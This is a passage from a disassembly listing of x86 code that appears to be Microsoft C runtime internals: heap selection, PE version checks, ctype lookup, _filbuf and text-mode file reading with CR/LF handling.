		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], offset off_4502B8
		jnz	loc_429114
		cmp	[ebp+var_8], 0
		jnz	short loc_429331
		mov	eax, 0FFFFFFF7h
		jmp	short loc_429333
; ---------------------------------------------------------------------------


loc_429331:				; CODE XREF: sub_429100+228j
		xor	eax, eax


loc_429333:				; CODE XREF: sub_429100+9Dj
					; sub_429100+C4j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_429100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429340	proc near		; CODE XREF: .XComp0:00426702p
					; sub_4293A0+1FBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 0
		push	0
		call	near ptr 27C0753h
		nop
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		cmp	edx, 5A4Dh
		jnz	short loc_429373
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+3Ch], 0
		jnz	short loc_429375


loc_429373:				; CODE XREF: sub_429340+28j
		jmp	short loc_429398
; ---------------------------------------------------------------------------


loc_429375:				; CODE XREF: sub_429340+31j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		add	edx, [ecx+3Ch]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx+1Ah]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx+1Bh]
		mov	[eax+1], dl


loc_429398:				; CODE XREF: sub_429340:loc_429373j
		mov	esp, ebp
		pop	ebp
		retn
sub_429340	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4293A0	proc near		; CODE XREF: sub_4295D0:loc_4295FCp

var_1238	= dword	ptr -1238h
var_1234	= dword	ptr -1234h
var_1230	= dword	ptr -1230h
var_122C	= byte ptr -122Ch
var_1128	= byte ptr -1128h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1238h
		call	sub_421EE0
		mov	[ebp+var_1238],	0
		mov	[ebp+var_98], 94h
		lea	eax, [ebp+var_98]
		push	eax
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	short loc_4293EE
		cmp	[ebp+var_88], 2
		jnz	short loc_4293EE
		cmp	[ebp+var_94], 5
		jb	short loc_4293EE
		mov	eax, 1
		jmp	loc_4295C0
; ---------------------------------------------------------------------------


loc_4293EE:				; CODE XREF: sub_4293A0+30j
					; sub_4293A0+39j ...
		push	1090h
		lea	ecx, [ebp+var_1128]
		push	ecx
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 29B0000h
		test	eax, eax
		jz	loc_429594
		lea	edx, [ebp+var_1128]
		mov	[ebp+var_4], edx
		jmp	short loc_429421
; ---------------------------------------------------------------------------


loc_429418:				; CODE XREF: sub_4293A0:loc_42944Ej
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_429421:				; CODE XREF: sub_4293A0+76j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_429450
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 61h
		jl	short loc_42944E
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 7Ah
		jg	short loc_42944E
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		add	dl, 0E0h
		mov	eax, [ebp+var_4]
		mov	[eax], dl


loc_42944E:				; CODE XREF: sub_4293A0+94j
					; sub_4293A0+9Fj
		jmp	short loc_429418
; ---------------------------------------------------------------------------


loc_429450:				; CODE XREF: sub_4293A0+89j
		push	16h
		lea	ecx, [ebp+var_1128]
		push	ecx
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_422540
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_429478
		lea	edx, [ebp+var_1128]
		mov	[ebp+var_1238],	edx
		jmp	short loc_4294EB
; ---------------------------------------------------------------------------


loc_429478:				; CODE XREF: sub_4293A0+C8j
		push	104h
		lea	eax, [ebp+var_122C]
		push	eax
		push	0
		nop
		call	near ptr 27A0000h
		lea	ecx, [ebp+var_122C]
		mov	[ebp+var_4], ecx
		jmp	short loc_4294A0
; ---------------------------------------------------------------------------


loc_429497:				; CODE XREF: sub_4293A0:loc_4294CDj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_4294A0:				; CODE XREF: sub_4293A0+F5j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_4294CF
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 61h
		jl	short loc_4294CD
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 7Ah
		jg	short loc_4294CD
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		add	cl, 0E0h
		mov	edx, [ebp+var_4]
		mov	[edx], cl


loc_4294CD:				; CODE XREF: sub_4293A0+113j
					; sub_4293A0+11Ej
		jmp	short loc_429497
; ---------------------------------------------------------------------------


loc_4294CF:				; CODE XREF: sub_4293A0+108j
		lea	eax, [ebp+var_122C]
		push	eax
		lea	ecx, [ebp+var_1128]
		push	ecx
		call	sub_421B10
		add	esp, 8
		mov	[ebp+var_1238],	eax


loc_4294EB:				; CODE XREF: sub_4293A0+D6j
		cmp	[ebp+var_1238],	0
		jz	loc_429594
		push	2Ch
		mov	edx, [ebp+var_1238]
		push	edx
		call	sub_422680
		add	esp, 8
		mov	[ebp+var_1238],	eax
		cmp	[ebp+var_1238],	0
		jz	short loc_429594
		mov	eax, [ebp+var_1238]
		add	eax, 1
		mov	[ebp+var_1238],	eax
		mov	ecx, [ebp+var_1238]
		mov	[ebp+var_4], ecx


loc_429530:				; CODE XREF: sub_4293A0:loc_429556j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_429558
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_42954D
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		jmp	short loc_429556
; ---------------------------------------------------------------------------


loc_42954D:				; CODE XREF: sub_4293A0+1A3j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_429556:				; CODE XREF: sub_4293A0+1ABj
		jmp	short loc_429530
; ---------------------------------------------------------------------------


loc_429558:				; CODE XREF: sub_4293A0+198j
		push	0Ah
		push	0
		mov	edx, [ebp+var_1238]
		push	edx
		call	sub_422050
		add	esp, 0Ch
		mov	[ebp+var_1230],	eax
		cmp	[ebp+var_1230],	2
		jz	short loc_42958C
		cmp	[ebp+var_1230],	3
		jz	short loc_42958C
		cmp	[ebp+var_1230],	1
		jnz	short loc_429594


loc_42958C:				; CODE XREF: sub_4293A0+1D8j
					; sub_4293A0+1E1j
		mov	eax, [ebp+var_1230]
		jmp	short loc_4295C0
; ---------------------------------------------------------------------------


loc_429594:				; CODE XREF: sub_4293A0+67j
					; sub_4293A0+152j ...
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_429340
		add	esp, 4
		mov	ecx, [ebp+var_1234]
		and	ecx, 0FFh
		cmp	ecx, 6
		jl	short loc_4295BB
		mov	eax, 3
		jmp	short loc_4295C0
; ---------------------------------------------------------------------------


loc_4295BB:				; CODE XREF: sub_4293A0+212j
		mov	eax, 2


loc_4295C0:				; CODE XREF: sub_4293A0+49j
					; sub_4293A0+1F2j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4293A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4295D0	proc near		; CODE XREF: .XComp0:0042488Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	1000h
		xor	eax, eax
		cmp	[ebp+arg_0], 0
		setz	al
		push	eax
		nop
		call	near ptr 29B0A6Dh
		mov	dword_4E98C8, eax
		cmp	dword_4E98C8, 0
		jnz	short loc_4295FC
		xor	eax, eax
		jmp	short loc_42965B
; ---------------------------------------------------------------------------


loc_4295FC:				; CODE XREF: sub_4295D0+26j
		call	sub_4293A0
		mov	dword_4E98CC, eax
		cmp	dword_4E98CC, 3
		jnz	short loc_429633
		push	3F8h
		call	sub_426790
		add	esp, 4
		test	eax, eax
		jnz	short loc_429631
		mov	ecx, dword_4E98C8
		push	ecx
		call	near ptr 29B0939h
		nop
		xor	eax, eax
		jmp	short loc_42965B
; ---------------------------------------------------------------------------


loc_429631:				; CODE XREF: sub_4295D0+4Ej
		jmp	short loc_429656
; ---------------------------------------------------------------------------


loc_429633:				; CODE XREF: sub_4295D0+3Dj
		cmp	dword_4E98CC, 2
		jnz	short loc_429656
		call	sub_428460
		test	eax, eax
		jnz	short loc_429656
		mov	edx, dword_4E98C8
		push	edx
		nop
		call	near ptr 29B0939h
		xor	eax, eax
		jmp	short loc_42965B
; ---------------------------------------------------------------------------


loc_429656:				; CODE XREF: sub_4295D0:loc_429631j
					; sub_4295D0+6Aj ...
		mov	eax, 1


loc_42965B:				; CODE XREF: sub_4295D0+2Aj
					; sub_4295D0+5Fj ...
		pop	ebp
		retn
sub_4295D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	dword_4E98CC, 3
		jnz	loc_4296FA
		mov	eax, dword_4E98E8
		mov	[ebp-8], eax
		mov	dword ptr [ebp-4], 0
		jmp	short loc_42968D
; ---------------------------------------------------------------------------


loc_429684:				; CODE XREF: .XComp0:004296E1j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_42968D:				; CODE XREF: .XComp0:00429682j
		mov	edx, [ebp-4]
		cmp	edx, dword_4E98E4
		jge	short loc_4296E3
		push	4000h
		push	100000h
		mov	eax, [ebp-8]
		mov	ecx, [eax+0Ch]
		push	ecx
		nop
		call	near ptr 29A0CE3h
		push	8000h
		push	0
		mov	edx, [ebp-8]
		mov	eax, [edx+0Ch]
		push	eax
		nop
		call	near ptr 29A0CE3h
		mov	ecx, [ebp-8]
		mov	edx, [ecx+10h]
		push	edx
		push	0
		mov	eax, dword_4E98C8
		push	eax
		nop
		call	near ptr 29A0000h
		mov	ecx, [ebp-8]
		add	ecx, 14h
		mov	[ebp-8], ecx
		jmp	short loc_429684
; ---------------------------------------------------------------------------


loc_4296E3:				; CODE XREF: .XComp0:00429696j
		mov	edx, dword_4E98E8
		push	edx
		push	0
		mov	eax, dword_4E98C8
		push	eax
		nop
		call	near ptr 29A0000h
		jmp	short loc_429738
; ---------------------------------------------------------------------------


loc_4296FA:				; CODE XREF: .XComp0:0042966Dj
		cmp	dword_4E98CC, 2
		jnz	short loc_429738
		mov	dword ptr [ebp-0Ch], offset off_4502B8


loc_42970A:				; CODE XREF: .XComp0:00429736j
		mov	ecx, [ebp-0Ch]
		cmp	dword ptr [ecx+10h], 0
		jz	short loc_429727
		push	8000h
		push	0
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+10h]
		push	eax
		call	near ptr 29A0CE3h
		nop


loc_429727:				; CODE XREF: .XComp0:00429711j
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx]
		mov	[ebp-0Ch], edx
		cmp	dword ptr [ebp-0Ch], offset off_4502B8
		jnz	short loc_42970A


loc_429738:				; CODE XREF: .XComp0:004296F8j
					; .XComp0:00429701j
		mov	eax, dword_4E98C8
		push	eax
		nop
		call	near ptr 29B0939h
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429750	proc near		; CODE XREF: sub_420E70+66p
					; sub_421570+19p ...

var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 1
		cmp	eax, 100h
		ja	short loc_42977A
		mov	ecx, [ebp+arg_0]
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, [ebp+arg_4]
		jmp	loc_429803
; ---------------------------------------------------------------------------


loc_42977A:				; CODE XREF: sub_429750+11j
		mov	ecx, [ebp+arg_0]
		sar	ecx, 8
		and	ecx, 0FFh
		and	ecx, 0FFh
		mov	edx, off_4522E4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_4297C3
		mov	ecx, [ebp+arg_0]
		sar	ecx, 8
		and	ecx, 0FFh
		mov	[ebp+var_C], cl
		mov	dl, byte ptr [ebp+arg_0]
		mov	[ebp+var_B], dl
		mov	[ebp+var_A], 0
		mov	[ebp+var_8], 2
		jmp	short loc_4297D4
; ---------------------------------------------------------------------------


loc_4297C3:				; CODE XREF: sub_429750+4Fj
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_C], al
		mov	[ebp+var_B], 0
		mov	[ebp+var_8], 1


loc_4297D4:				; CODE XREF: sub_429750+71j
		push	1
		push	0
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		call	sub_433870
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4297F8
		xor	eax, eax
		jmp	short loc_429803
; ---------------------------------------------------------------------------


loc_4297F8:				; CODE XREF: sub_429750+A2j
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		and	eax, [ebp+arg_4]


loc_429803:				; CODE XREF: sub_429750+25j
					; sub_429750+A6j
		mov	esp, ebp
		pop	ebp
		retn
sub_429750	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429810	proc near		; CODE XREF: sub_421120+182p
					; sub_4223D0+D7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_429819:				; CODE XREF: sub_429810+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_42983D
		push	offset dword_43E4A4
		push	0
		push	69h
		push	offset a_filbuf_c ; "_filbuf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42983D
		int	3		; Trap to Debugger


loc_42983D:				; CODE XREF: sub_429810+Dj
					; sub_429810+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_429819
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_429865
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 40h
		test	edx, edx
		jz	short loc_42986D


loc_429865:				; CODE XREF: sub_429810+46j
		or	eax, 0FFFFFFFFh
		jmp	loc_4299ED
; ---------------------------------------------------------------------------


loc_42986D:				; CODE XREF: sub_429810+53j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_429890
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 20h
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	loc_4299ED
; ---------------------------------------------------------------------------


loc_429890:				; CODE XREF: sub_429810+68j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 10Ch
		test	eax, eax
		jnz	short loc_4298BB
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_433A30
		add	esp, 4
		jmp	short loc_4298C6
; ---------------------------------------------------------------------------


loc_4298BB:				; CODE XREF: sub_429810+9Bj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		mov	[edx], ecx


loc_4298C6:				; CODE XREF: sub_429810+A9j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+18h]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_429A00
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		mov	[edx+4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4298FB
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0FFFFFFFFh
		jnz	short loc_42992B


loc_4298FB:				; CODE XREF: sub_429810+E0j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, eax
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_4299ED
; ---------------------------------------------------------------------------


loc_42992B:				; CODE XREF: sub_429810+E9j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 82h
		test	eax, eax
		jnz	short loc_429991
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	short loc_429966
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		sar	eax, 5
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+10h]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[eax*4]
		add	eax, edx
		mov	[ebp+var_8], eax
		jmp	short loc_42996D
; ---------------------------------------------------------------------------


loc_429966:				; CODE XREF: sub_429810+131j
		mov	[ebp+var_8], offset dword_452AA0


loc_42996D:				; CODE XREF: sub_429810+154j
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 82h
		cmp	edx, 82h
		jnz	short loc_429991
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		or	ch, 20h
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx


loc_429991:				; CODE XREF: sub_429810+128j
					; sub_429810+170j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 200h
		jnz	short loc_4299C4
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 8
		test	edx, edx
		jz	short loc_4299C4
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 400h
		test	ecx, ecx
		jnz	short loc_4299C4
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 1000h


loc_4299C4:				; CODE XREF: sub_429810+18Bj
					; sub_429810+198j ...
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		movsx	eax, byte ptr [ecx]
		and	eax, 0FFh
		mov	edx, [ebp+var_4]
		mov	ecx, [edx]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx], ecx


loc_4299ED:				; CODE XREF: sub_429810+58j
					; sub_429810+7Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_429810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A00	proc near		; CODE XREF: sub_421120+118p
					; sub_429810+CBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4E96A0
		jnb	short loc_429A31
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_429A4C


loc_429A31:				; CODE XREF: sub_429A00+Dj
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		call	sub_42C1F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_429A7E
; ---------------------------------------------------------------------------


loc_429A4C:				; CODE XREF: sub_429A00+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4336D0
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429A90
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_433760
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_429A7E:				; CODE XREF: sub_429A00+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_429A00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A90	proc near		; CODE XREF: sub_429A00+64p
					; sub_433B40+42Fp

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_18], 0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_429ACB
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_429AD2


loc_429ACB:				; CODE XREF: sub_429A90+17j
		xor	eax, eax
		jmp	loc_429ED1
; ---------------------------------------------------------------------------


loc_429AD2:				; CODE XREF: sub_429A90+39j
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4E95A0[edx*4]
		movsx	edx, byte ptr [ecx+eax+4]
		and	edx, 48h
		test	edx, edx
		jz	short loc_429B69
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		movsx	eax, byte ptr [edx+ecx+5]
		cmp	eax, 0Ah
		jz	short loc_429B69
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		mov	ecx, [ebp+var_14]
		mov	dl, [eax+edx+5]
		mov	[ecx], dl
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		mov	byte ptr [edx+ecx+5], 0Ah


loc_429B69:				; CODE XREF: sub_429A90+62j
					; sub_429A90+82j
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		nop
		call	near ptr 2850000h
		test	eax, eax
		jnz	short loc_429BE8
		nop
		call	near ptr 27B0F7Fh
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 5
		jnz	short loc_429BC7
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		call	sub_42C1F0
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_429ED1
; ---------------------------------------------------------------------------


loc_429BC7:				; CODE XREF: sub_429A90+118j
		cmp	[ebp+var_8], 6Dh
		jnz	short loc_429BD4
		xor	eax, eax
		jmp	loc_429ED1
; ---------------------------------------------------------------------------


loc_429BD4:				; CODE XREF: sub_429A90+13Bj
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_42C140
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_429ED1
; ---------------------------------------------------------------------------


loc_429BE8:				; CODE XREF: sub_429A90+109j
		mov	eax, [ebp+var_18]
		add	eax, [ebp+var_10]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 80h
		test	ecx, ecx
		jz	loc_429ECE
		cmp	[ebp+var_10], 0
		jz	short loc_429C64
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Ah
		jnz	short loc_429C64
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		mov	cl, [eax+edx+4]
		or	cl, 4
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4E95A0[edx*4]
		mov	[edx+eax+4], cl
		jmp	short loc_429C9A
; ---------------------------------------------------------------------------


loc_429C64:				; CODE XREF: sub_429A90+18Ej
					; sub_429A90+199j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		mov	al, [edx+ecx+4]
		and	al, 0FBh
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, dword_4E95A0[ecx*4]
		mov	[ecx+edx+4], al


loc_429C9A:				; CODE XREF: sub_429A90+1D2j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax


loc_429CA6:				; CODE XREF: sub_429A90:loc_429EC0j
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_18]
		cmp	[ebp+var_4], ecx
		jnb	loc_429EC5
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 1Ah
		jnz	short loc_429D1E
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 40h
		test	ecx, ecx
		jnz	short loc_429D19
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4E95A0[edx*4]
		mov	dl, [ecx+eax+4]
		or	dl, 2
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	eax, dword_4E95A0[eax*4]
		mov	[eax+ecx+4], dl


loc_429D19:				; CODE XREF: sub_429A90+250j
		jmp	loc_429EC5
; ---------------------------------------------------------------------------


loc_429D1E:				; CODE XREF: sub_429A90+22Ej
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Dh
		jz	short loc_429D4A
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	loc_429EC0
; ---------------------------------------------------------------------------


loc_429D4A:				; CODE XREF: sub_429A90+297j
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+edx-1]
		cmp	[ebp+var_4], ecx
		jnb	short loc_429DA0
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 0Ah
